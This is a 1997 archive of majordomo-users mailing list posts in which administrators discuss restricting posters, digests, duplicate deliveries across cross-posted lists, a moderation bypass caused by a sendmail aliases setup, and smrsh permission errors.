and we want to restrict posts to one of our mailing lists. In order to do this, we have created a file containing E-Mail addresses for all subscriters that could send messages to the list. The problem is the following: Some of these users don't use a single system to send messages, despite they use the same login and the systems have the same domain. Is it possible to include E-Mail addresses like username@*.domain.pt? If so, what is the correct syntax? Thanks in advance by any help. Best regards. -- Fernando Cozinheiro System & Network Administrator ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Universidade de Aveiro Phone: +351 34 370345 Centro de Informatica e Comunicacoes Telefax: +351 34 370214 3810 Aveiro mailto:cooker@ci.ua.pt Portugal http://sweet.ua.pt/~cooker/ From owner-majordomo-users-outgoing Tue Jun 17 04:52:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA20750 for majordomo-users-outgoing; Tue, 17 Jun 1997 04:43:18 -0700 (PDT) Received: from cais.cais.com (cais.com [199.0.216.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id EAA20695 for ; Tue, 17 Jun 1997 04:43:05 -0700 (PDT) Received: from cyberfam.cais.com.cais.com (cyberfam.cais.com [207.176.65.70]) by cais.cais.com (8.8.5/) with SMTP id HAA27285 for ; Tue, 17 Jun 1997 07:43:34 -0400 (EDT) Message-Id: <3.0.1.32.19970617065301.00d36cc4@cais.com> X-Sender: cyberfam@cais.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 17 Jun 1997 06:53:01 -0400 To: majordomo-users@GreatCircle.COM From: Allison & Rick Martin Subject: RE: No Digest Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I asked earlier for help on getting a digest out for a friend, but have now found that her password does not let her execute any real commands. However, I am still wondering if this is the problem with the digest? # digest_list [string] (none) # The digest mailing list digest_list = none Thanks. From owner-majordomo-users-outgoing Tue Jun 17 06:39:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA00855 for majordomo-users-outgoing; Tue, 17 Jun 1997 06:23:38 -0700 (PDT) Received: from www.h2olily.com (h2olily.com [206.163.9.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA00840 for ; Tue, 17 Jun 1997 06:23:26 -0700 (PDT) Received: from gate.h2olily.com (gate.h2olily.com [206.163.9.11]) by www.h2olily.com (8.8.5/8.7.3) with SMTP id GAA19741 for ; Tue, 17 Jun 1997 06:23:41 -0700 Message-Id: <3.0.32.19970617062032.00963888@h2olily.com> X-Sender: jack@h2olily.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 17 Jun 1997 06:20:37 -0700 To: Majordomo-Users@GreatCircle.com From: Jack Honeycutt Subject: Users posting to moderated list; How?? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have a small moderated list. When a user posts a message to the list, it is sent to me for approval. I 'hand' approve each message, then send it back to the list to be posted. When messages come to me to be approved, the word 'owner' is placed at the beginning of the mailing list name (why, I don't know). For example, if the list were named 'frog@pond.com', a message to be approved would come to me as 'owner-frog@pond.com'. Users to the list have found out that they can place the word 'owner' at the beginning of a message, and it will be posted to the list with out approval. How can this happen!!??. I am thinking that maybe I made a error in my 'aliases' file. Here is a cut from my aliases file. Maybe someone can find a error in it. I am open to any other suggestions. I am lost! Thanks everyone.... ############################################################################ ### majordomo: "|/user/local/majordomo-1.94/wrapper majordomo" owner-majordomo: jack majordomo-owner: jack ########################################################################### #pond ############################################################################ pond:"|usr/local/majordomo-1.94/wrapper resend -l pond -h h2olily.com pond-outgoing" pond-outgoing::include:/usr/local/majordomo-1.94/lists/pond, owner-pond:jack@h2olily.com owner-pond-outgoing:owner:owner-pond pond-request: "|/usr/local/majordomo-1.94/wrapper majordomo -l pond" pond-approval:jack@h2olily.com ############################################################################### From owner-majordomo-users-outgoing Tue Jun 17 07:39:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA08958 for majordomo-users-outgoing; Tue, 17 Jun 1997 07:22:58 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA07172 for ; Tue, 17 Jun 1997 07:09:36 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA23258 for ; Tue, 17 Jun 1997 10:09:51 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA24051; Tue, 17 Jun 1997 10:09:51 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: eliminating duplicates References: <3.0.32.19970616204259.0081ac30@emerald.omg.org> X-No-Archive: yes Date: 17 Jun 1997 10:09:50 -0400 In-Reply-To: Monika Adamczyk's message of "Mon, 16 Jun 1997 20:43:13 -0400" Message-ID: Lines: 34 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "MA" == Monika Adamczyk writes: MA> I wasn't able to figure out how to have it done (if it is possible at MA> all - please tel me yes or I have to maintain the lists manually :-( MA> ). If Joe is subscribed to both list A and list B, and list B receives all of list A's mail, then remove Joe from list A. Other than that there is nothing you (as the list admin) can do about it. If someone is subscribed to multiple lists they will (and should!) receive all the mail that is sent to each list. If duplicates are a problem from his perspective then it is his responsibility to do something about it, such as using a mail filter that can trap duplicates based on Message-ID headers. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6aarJ6VRH7BJMxHAQEwTwQAq5ZUSjvAj+FrcmLcKCBsk7dlpBh5nHzC 4JZs24otlSATu9wcoRiK1HUT8qUDcZS6K6G7PsCuVhAMuAe2zB7VA0ENvr52TP99 D5ixUGrhjgt2sGwsp5vm3He1+4WGMLubValsteTZhcDCM4PvH8j1K7jeTBIVmT98 8sCTPfXWu6U= =Ebji -----END PGP SIGNATURE----- -- Rich Pieri | Caution: Happy Fun Ball may Prescient Technologies, Inc. | suddenly accelerate to dangerous A Stone & Webster Company | speeds. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Tue Jun 17 10:23:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA22095 for majordomo-users-outgoing; Tue, 17 Jun 1997 09:28:15 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA22078 for ; Tue, 17 Jun 1997 09:28:08 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id MAA29745; Tue, 17 Jun 1997 12:31:20 -0400 Message-Id: <3.0.32.19970617122711.007cb6d0@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 17 Jun 1997 12:27:19 -0400 To: Rich Pieri , majordomo-users@greatcircle.com From: Monika Adamczyk Subject: Re: eliminating duplicates Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 10:09 AM 6/17/97 -0400, Rich Pieri wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >>>>>> "MA" == Monika Adamczyk writes: > >MA> I wasn't able to figure out how to have it done (if it is possible at >MA> all - please tel me yes or I have to maintain the lists manually :-( >MA> ). > >If Joe is subscribed to both list A and list B, and list B receives all of >list A's mail, then remove Joe from list A. > >Other than that there is nothing you (as the list admin) can do about it. >If someone is subscribed to multiple lists they will (and should!) receive >all the mail that is sent to each list. If duplicates are a problem from >his perspective then it is his responsibility to do something about it, >such as using a mail filter that can trap duplicates based on Message-ID >headers. > Unfortunetaly it is not that easy - our lists are working groups within our organization, which communicate between each other and cross posting messages is very common. People are involved in different activities and I can't remove them from one list to be kept on another. I can't also to predict which lists are cross posted - this changes with each message. Right now the administration is supported manually (it has to be integrated with our db) but I would like to avoid it if possible. Somehow the sendmail is handling multiple messages and sends out only a single message to an address which is on our lists - how, I am not sure but I am not an expert on sendmail. If I can provide some additional information to find a solution let me know and I will post it to the list. Monika From owner-majordomo-users-outgoing Tue Jun 17 10:53:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA07703 for majordomo-users-outgoing; Tue, 17 Jun 1997 10:45:35 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA07683 for ; Tue, 17 Jun 1997 10:45:29 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA23411 for ; Tue, 17 Jun 1997 10:48:47 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id OAA21224 for ; Tue, 17 Jun 1997 14:45:51 -0300 Date: Tue, 17 Jun 1997 14:45:50 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: eliminating duplicates In-Reply-To: <3.0.32.19970617122711.007cb6d0@emerald.omg.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 17 Jun 1997, Monika Adamczyk wrote: > Right now the administration is supported manually (it has to be > integrated with our db) but I would like to avoid it if possible. > Somehow the sendmail is handling multiple messages and sends out only > a single message to an address which is on our lists - how, I am not > sure but I am not an expert on sendmail. > If I can provide some additional information to find a solution let > me know and I will post it to the list. I think if instead of using majordomo etc etc, you simply use the sendmail aliases directly, i.e. have the alias be the list of recipients, then sendmail will take care of the duplicate-elimination for you. That is because instead of sendmail seeing the repients as several entirely different majordomo processes it will see the actual recipients. When the aliases point at processes, different processes, sendmail really has no crystal ball that will tell it that those processes are mailing list programs that will eventually result in more addresses getting involved. SO, just use aliases directly as your lists and you should get the duplicate-elimiantion you desire, and since the lists are internal to a company adminsitration you presumably wont miss the automatic subscribing and unsubscribing that majordomo gives. One hopes. ;-) Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Tue Jun 17 10:57:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA25020 for majordomo-users-outgoing; Tue, 17 Jun 1997 09:46:40 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA24947 for ; Tue, 17 Jun 1997 09:46:25 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id MAA28216 for ; Tue, 17 Jun 1997 12:46:58 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id MAA12719; Tue, 17 Jun 1997 12:46:57 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: eliminating duplicates References: <3.0.32.19970617122711.007cb6d0@emerald.omg.org> X-No-Archive: yes Date: 17 Jun 1997 12:46:56 -0400 In-Reply-To: Monika Adamczyk's message of "Tue, 17 Jun 1997 12:27:19 -0400" Message-ID: Lines: 38 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "MA" == Monika Adamczyk writes: MA> I can't also to predict which lists are cross posted - this changes MA> with each message. Then, in short, you are screwed. If a message is crossposted to five lists and Joe is subcribed to all five of those lists he will receive five copies of that message, one per list. There is nothing you can do on the server side of things because each list is ignorant of the existance of other lists. Majordomo has nothing to do with actual delivery of messages; it leaves it up to the MTA, a tool designed for delivering messages. And, as far as the MTA is concerned, each instance of a given message is unique. If this is a problem then Joe should use a mail filter like procmail that can eliminate duplicate messages based on Message-ID headers. Or else you should find a mailing list manager that can do what you want... but as far as I know there are none. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6a/fp6VRH7BJMxHAQEO/AQAhWNR70cXn+Kr70uEeosCpnRWM/TiczMb VUqgLzD0Nc3g+KmhkEWPjllfWE0sgcpl18nJvJ7vk7LK0b3ED4xo6c50parjqGDf R6sGNObp9LOBCAv0H81g4DhiWlZy5rmag26r17ULZldDEKgN1VBZxk7EaU+5c10K cC+mXFl8aHs= =y3zb -----END PGP SIGNATURE----- -- Rich Pieri | When not in use, Happy Fun Ball Prescient Technologies, Inc. | should be returned to its special A Stone & Webster Company | container and kept under I speak for myself, not PTI or SWEC | refrigeration. From owner-majordomo-users-outgoing Tue Jun 17 11:24:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA10222 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:11:18 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA10207 for ; Tue, 17 Jun 1997 11:11:11 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id OAA01679; Tue, 17 Jun 1997 14:13:57 -0400 Message-Id: <3.0.32.19970617140943.00822ba0@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 17 Jun 1997 14:09:55 -0400 To: Knotwork Admin , majordomo-users@GreatCircle.COM From: Monika Adamczyk Subject: Re: eliminating duplicates Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 02:45 PM 6/17/97 -0300, Knotwork Admin wrote: > >On Tue, 17 Jun 1997, Monika Adamczyk wrote: >> Right now the administration is supported manually (it has to be >> integrated with our db) but I would like to avoid it if possible. >> Somehow the sendmail is handling multiple messages and sends out only >> a single message to an address which is on our lists - how, I am not >> sure but I am not an expert on sendmail. >> If I can provide some additional information to find a solution let >> me know and I will post it to the list. > >I think if instead of using majordomo etc etc, you simply use the sendmail >aliases directly, i.e. have the alias be the list of recipients, then >sendmail will take care of the duplicate-elimination for you. That is >because instead of sendmail seeing the repients as several entirely >different majordomo processes it will see the actual recipients. When the >aliases point at processes, different processes, sendmail really has no >crystal ball that will tell it that those processes are mailing list >programs that will eventually result in more addresses getting involved. > >SO, just use aliases directly as your lists and you should get the >duplicate-elimiantion you desire, and since the lists are internal to a >company adminsitration you presumably wont miss the automatic subscribing >and unsubscribing that majordomo gives. One hopes. ;-) > >Blessed Be. -MarkM- That's what we use right now but unfortunately the lists are not internal and there are many of them. OMG is large non-profit organization and some of the lists have about 200 people on them. Handling administrative requests by hand is very time consuming. So what I would like to have is the best of the both worlds: sendmail elimination of duplicates (this is a requirement form my boss - I can skip it) and automated administration from majordomo. If this program can't do it, are there any other which can? Monika From owner-majordomo-users-outgoing Tue Jun 17 11:38:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA11541 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:23:43 -0700 (PDT) Received: from thoreau.g440.com (thoreau.g440.com [206.214.240.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA11491 for ; Tue, 17 Jun 1997 11:23:22 -0700 (PDT) Received: from [206.214.240.3] (user1 [206.214.240.3]) by thoreau.g440.com (8.8.4/8.8.5) with SMTP id NAA09251 for ; Tue, 17 Jun 1997 13:11:29 -0600 (CDT) X-Sender: nick@mail.g440.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 17 Jun 1997 13:24:26 -0500 To: majordomo-users@greatcircle.com From: nick@ideation.net (Nick Bauman) Subject: smrsh problems Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Can majordomo and smrsh co-exist? If so, how? I'm having trouble with it. Here is what I have done: 1. made a symbolic link to majordomo and put it in the blessed 'bin' directory smrsh uses to determine whether the program is allowed to run. 2. added smrsh and majordomo world executable, world readable permissions. Here is a copy of a transcript: The original message was received at Tue, 17 Jun 1997 14:35:54 GMT from thoreau [206.214.240.2] ----- The following addresses had transient non-fatal errors ----- "|/usr/local/bin/majordomo-1.94.3/wrapper majordomo" (expanded from: ) ----- Transcript of session follows ----- 451 Cannot exec /usr/lib/smrsh/smrsh: Permission denied 451 "|/usr/local/bin/majordomo-1.94.3/wrapper majordomo"... Operating system error: Error 0 Warning: message still undelivered after 4 hours Will keep trying until message is 5 days old _______ What to do? Do I instead need to make the majordomo wrapper a blessed smrsh program? -Nick +-------------------+---------------------+ | Nick Bauman Technical Director | | Ideation Interactive Design Solutions | | Tel. 612.338.2490 Fax 612.347.9089 | |-------------------+---------------------| | http://www.ideation.net | +-----------------------------------------+ From owner-majordomo-users-outgoing Tue Jun 17 11:44:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA13172 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:37:39 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA13158 for ; Tue, 17 Jun 1997 11:37:34 -0700 (PDT) Received: from Venus.mcs.net (les@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id NAA08578; Tue, 17 Jun 1997 13:38:10 -0500 (CDT) Received: (from les@localhost) by Venus.mcs.net (8.8.5/8.8.2) id NAA01918; Tue, 17 Jun 1997 13:38:09 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706171838.NAA01918@Venus.mcs.net> Subject: Re: eliminating duplicates To: monika@omg.org (Monika Adamczyk) Date: Tue, 17 Jun 1997 13:38:08 -0500 (CDT) Cc: rich.pieri@prescienttech.com, majordomo-users@GreatCircle.COM In-Reply-To: <3.0.32.19970617122711.007cb6d0@emerald.omg.org> from "Monika Adamczyk" at Jun 17, 97 12:27:19 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > Unfortunetaly it is not that easy - our lists are working groups > within our organization, which communicate between each other and > cross posting messages is very common. People are involved in > different activities and I can't remove them from one list to be kept > on another. > I can't also to predict which lists are cross posted - this changes > with each message. > > Right now the administration is supported manually (it has to be > integrated with our db) but I would like to avoid it if possible. > Somehow the sendmail is handling multiple messages and sends out only > a single message to an address which is on our lists - how, I am not > sure but I am not an expert on sendmail. > If I can provide some additional information to find a solution let > me know and I will post it to the list. Sendmail will elminate duplicates by default, but it has to expand the entire list at once to do it. If you simply subscribe the sub-lists to the master list the expansion will happen in separate 'resend' runs so sendmail won't see the duplication. However if you :include: the sub-list files into the master the expansion should happen in one sendmail run and do what you want. I don't think you can make this also work with CC:ed addresses if you use resend at all but it would if the alias expands the lists directly so all of the header addresses expand at once. Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Tue Jun 17 11:52:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA12877 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:35:19 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA12819 for ; Tue, 17 Jun 1997 11:35:01 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id OAA02114; Tue, 17 Jun 1997 14:38:17 -0400 Message-Id: <3.0.32.19970617143402.007e4410@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 17 Jun 1997 14:34:04 -0400 To: Rich Pieri , majordomo-users@greatcircle.com From: Monika Adamczyk Subject: Re: eliminating duplicates Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 12:46 PM 6/17/97 -0400, Rich Pieri wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >>>>>> "MA" == Monika Adamczyk writes: > >MA> I can't also to predict which lists are cross posted - this changes >MA> with each message. > >Then, in short, you are screwed. Yes, I am (and desperately trying to get out of this situation or I will start spending most of time on running the lists :-( ). > >If a message is crossposted to five lists and Joe is subcribed to all five >of those lists he will receive five copies of that message, one per list. >There is nothing you can do on the server side of things because each list >is ignorant of the existance of other lists. Majordomo has nothing to do >with actual delivery of messages; it leaves it up to the MTA, a tool >designed for delivering messages. And, as far as the MTA is concerned, >each instance of a given message is unique. > Forgive my ignorance but if Majordomo has nothing to do with delivery of the messages but sendmail does - why is this working for a set of multiple aliases from the aliases files where each list has the following entry: sample_list: :include:/path/to/list/files/sample_list but not working for majordomo which invokes the MTA (sendmail 8, solaris 2.5). Is there a way to make the lists aware of each other before sendmail is called? >If this is a problem then Joe should use a mail filter like procmail that >can eliminate duplicate messages based on Message-ID headers. Or else you >should find a mailing list manager that can do what you want... but as far >as I know there are none. Not even a commercial one? Monika From owner-majordomo-users-outgoing Tue Jun 17 11:53:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA15504 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:51:46 -0700 (PDT) Received: from emerald (emerald.omg.org [192.67.184.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA15394 for ; Tue, 17 Jun 1997 11:51:26 -0700 (PDT) Received: from elessar.omg.org by emerald (SMI-8.6/SMI-SVR4) id OAA02369; Tue, 17 Jun 1997 14:54:36 -0400 Message-Id: <3.0.32.19970617145021.007f5dd0@emerald.omg.org> X-Sender: monika@emerald.omg.org X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 17 Jun 1997 14:50:22 -0400 To: Knotwork Admin , majordomo-users@GreatCircle.COM From: Monika Adamczyk Subject: Re: eliminating duplicates Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 02:09 PM 6/17/97 -0400, Monika Adamczyk wrote: Sorry for following my own post but the sentence below should read - this is a requirement from my boss - I CAN'T skip it . Monika >That's what we use right now but unfortunately the lists are not >internal and there are many of them. OMG is large non-profit >organization and some of the lists have about 200 people on them. >Handling administrative requests by hand is very time consuming. So >what I would like to have is the best of the both worlds: sendmail >elimination of duplicates (this is a requirement form my boss - I can >skip it) and automated administration from majordomo. If this program >can't do it, are there any other which can? > >Monika > > > > From owner-majordomo-users-outgoing Tue Jun 17 12:08:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA13849 for majordomo-users-outgoing; Tue, 17 Jun 1997 11:41:46 -0700 (PDT) Received: from greatdane.webnexus.com (greatdane.webnexus.com [165.227.96.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA13827 for ; Tue, 17 Jun 1997 11:41:38 -0700 (PDT) Received: from dalmatian.webnexus.com (dalmatian.webnexus.com [165.227.96.4]) by greatdane.webnexus.com (8.8.5/8.8.5/WN-1.2) with ESMTP id LAA22466; Tue, 17 Jun 1997 11:42:15 -0700 (PDT) Received: (from kovar@localhost) by dalmatian.webnexus.com (8.8.5/8.8.5/WN-1.2) id LAA18188; Tue, 17 Jun 1997 11:42:15 -0700 (PDT) From: David Kovar Message-Id: <199706171842.LAA18188@dalmatian.webnexus.com> Subject: Re: eliminating duplicates To: rich.pieri@prescienttech.com (Rich Pieri) Date: Tue, 17 Jun 1997 11:42:15 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Rich Pieri" at Jun 17, 97 12:46:56 pm X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk You could turn off resend on those lists and only use majordomo for handling subscription requests. -David > > -----BEGIN PGP SIGNED MESSAGE----- > > >>>>> "MA" == Monika Adamczyk writes: > > MA> I can't also to predict which lists are cross posted - this changes > MA> with each message. > > Then, in short, you are screwed. > > If a message is crossposted to five lists and Joe is subcribed to all five > of those lists he will receive five copies of that message, one per list. > There is nothing you can do on the server side of things because each list > is ignorant of the existance of other lists. Majordomo has nothing to do > with actual delivery of messages; it leaves it up to the MTA, a tool > designed for delivering messages. And, as far as the MTA is concerned, > each instance of a given message is unique. > > If this is a problem then Joe should use a mail filter like procmail that > can eliminate duplicate messages based on Message-ID headers. Or else you > should find a mailing list manager that can do what you want... but as far > as I know there are none. > > -----BEGIN PGP SIGNATURE----- > Version: 4.0 Business Edition > Charset: noconv